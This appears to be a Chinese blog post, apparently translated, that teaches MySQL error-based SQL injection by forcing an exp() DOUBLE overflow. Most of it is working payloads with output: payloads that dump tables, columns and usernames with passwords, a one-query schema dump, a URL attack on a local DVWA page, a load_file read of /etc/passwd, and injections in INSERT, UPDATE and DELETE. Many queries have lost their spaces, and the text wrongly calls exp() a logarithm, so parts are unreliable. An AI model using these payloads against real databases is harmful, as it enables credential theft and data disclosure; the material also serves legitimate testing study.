Molet

使用exp进行SQL报错注入

Molet 安全防护 2022-12-20 330浏览 0

0x01 前言概述

好消息好消息~作者又在MySQL中发现了一个Double型数据溢出。如果你想了解利用溢出来注出数据,你可以读一下作者之前发的博文:BIGINT Overflow Error based injections,drops上面也有对应翻译,具体见这里。当我们拿到MySQL里的函数时,作者比较感兴趣的是其中的数学函数,它们也应该包含一些数据类型来保存数值。所以作者就跑去测试看哪些函数会出现溢出错误。然后作者发现,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

使用exp进行SQL报错注入

mysql> select exp(709); +-----------------------+ | exp(709) | +-----------------------+ | 8.218407461554972e307 | +-----------------------+ 1 row in set (0.00 sec)

mysql> select exp(710); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

在MySQL中,exp与ln和log的功能相反,简单介绍下,就是log和ln都返回以e为底数的对数,见等式:

使用exp进行SQL报错注入

使用exp进行SQL报错注入

mysql> select log(15); +------------------+ | log(15) | +------------------+ | 2.70805020110221 | +------------------+ 1 row in set (0.00 sec)

mysql> select ln(15); +------------------+ | ln(15) | +------------------+ | 2.70805020110221 | +------------------+ 1 row in set (0.00 sec)

指数函数为对数函数的反函数,exp()即为以e为底的对数函数,如等式:

使用exp进行SQL报错注入

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
| 15 |
+-----------------------+
1 row in set (0.00 sec)

0x02 注入

当涉及到注入时,我们使用否定查询来造成“DOUBLE value is out of range”的错误。作者之前的博文提到的,将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到***的无符号BIGINT值。

mysql> select ~0; +----------------------+ | ~0 | +----------------------+ | 18446744073709551615 | +----------------------+ 1 row in set (0.00 sec)

mysql> select ~(select version()); +----------------------+ | ~(select version()) | +----------------------+ | 18446744073709551610 | +----------------------+ 1 row in set, 1 warning (0.00 sec)

我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

>`exp(~(select*from(selectuser())x))` 

mysql>selectexp(~(select*from(selectuser())x)); 
ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'root@localhost'fromdual)))'

0x03 注出数据

得到表名:

selectexp(~(select*from(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1)x));

得到列名:

selectexp(~(select*from(selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1)x));

检索数据:

selectexp(~(select*from(selectconcat_ws(':',id,username,password)fromuserslimit0,1)x));

0x04 一蹴而就

这个查询可以从当前的上下文中dump出所有的tables与columns。我们也可以dump出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果。

exp(~(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columnswheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) 

http://localhost/dvwa/vulnerabilities/sqli/?id=1'orexp(~(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columnswheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))---&Submit=Submit#

使用exp进行SQL报错注入

0x05 读取文件

你可以通过load_file()函数来读取文件,但作者发现有13行的限制,该语句也可以在BIGINT overflow injections中使用。

selectexp(~(select*from(selectload_file('/etc/passwd'))a)); 

使用exp进行SQL报错注入

注意,你无法写文件,因为这个错入写入的只是0。

mysql>selectexp(~(select*from(select'hello')a))intooutfile'C:/out.txt'; 
ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'hello'fromdual)))' 

#typeC:\out.txt 
0

0x06 Injection in Insert

按部就班就好

mysql>insertintousers(id,username,password)values(2,''^exp(~(select*from(selectuser())x)),'Eyre'); 
ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'root@localhost'fromdual)))'

对于所有的insert,update和delete语句DIOS查询也同样可以使用。

mysql>insertintousers(id,username,password)values(2,''|exp(~(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columnswheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),'Eyre'); 
ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'000 
newdb::users::id 
newdb::users::username 
newdb::users::password'fromdual)))'

0x07 Injection in Update

mysql>updateuserssetpassword='Peter'^exp(~(select*from(selectuser())x))whereid=4; 
ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'root@localhost'fromdual)))'

0x08 Injection in Delete

mysql>deletefromuserswhereid='1'|exp(~(select*from(selectuser())x)); 
ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'root@localhost'fromdual)))'

和前面的BIGINT注入一样,exp注入也适用于MySQL5.5.5及以上版本。以前的版本对于此情况则是“一言不发”。

mysql>selectversion(); 
+---------------------+ 
|version()| 
+---------------------+ 
|5.0.45-community-nt| 
+---------------------+ 
1rowinset(0.00sec) 


mysql>selectexp(710); 
+----------+ 
|exp(710)| 
+----------+ 
|1.#INF| 
+----------+ 
1rowinset(0.00sec) 


mysql>selectexp(~0); 
+---------+ 
|exp(~0)| 
+---------+ 
|1.#INF| 
+---------+ 
1rowinset(0.00sec)

可能还有其他的函数会产生这种报错呦。(有待你发现啦:)

继续浏览有关 安全 的文章
发表评论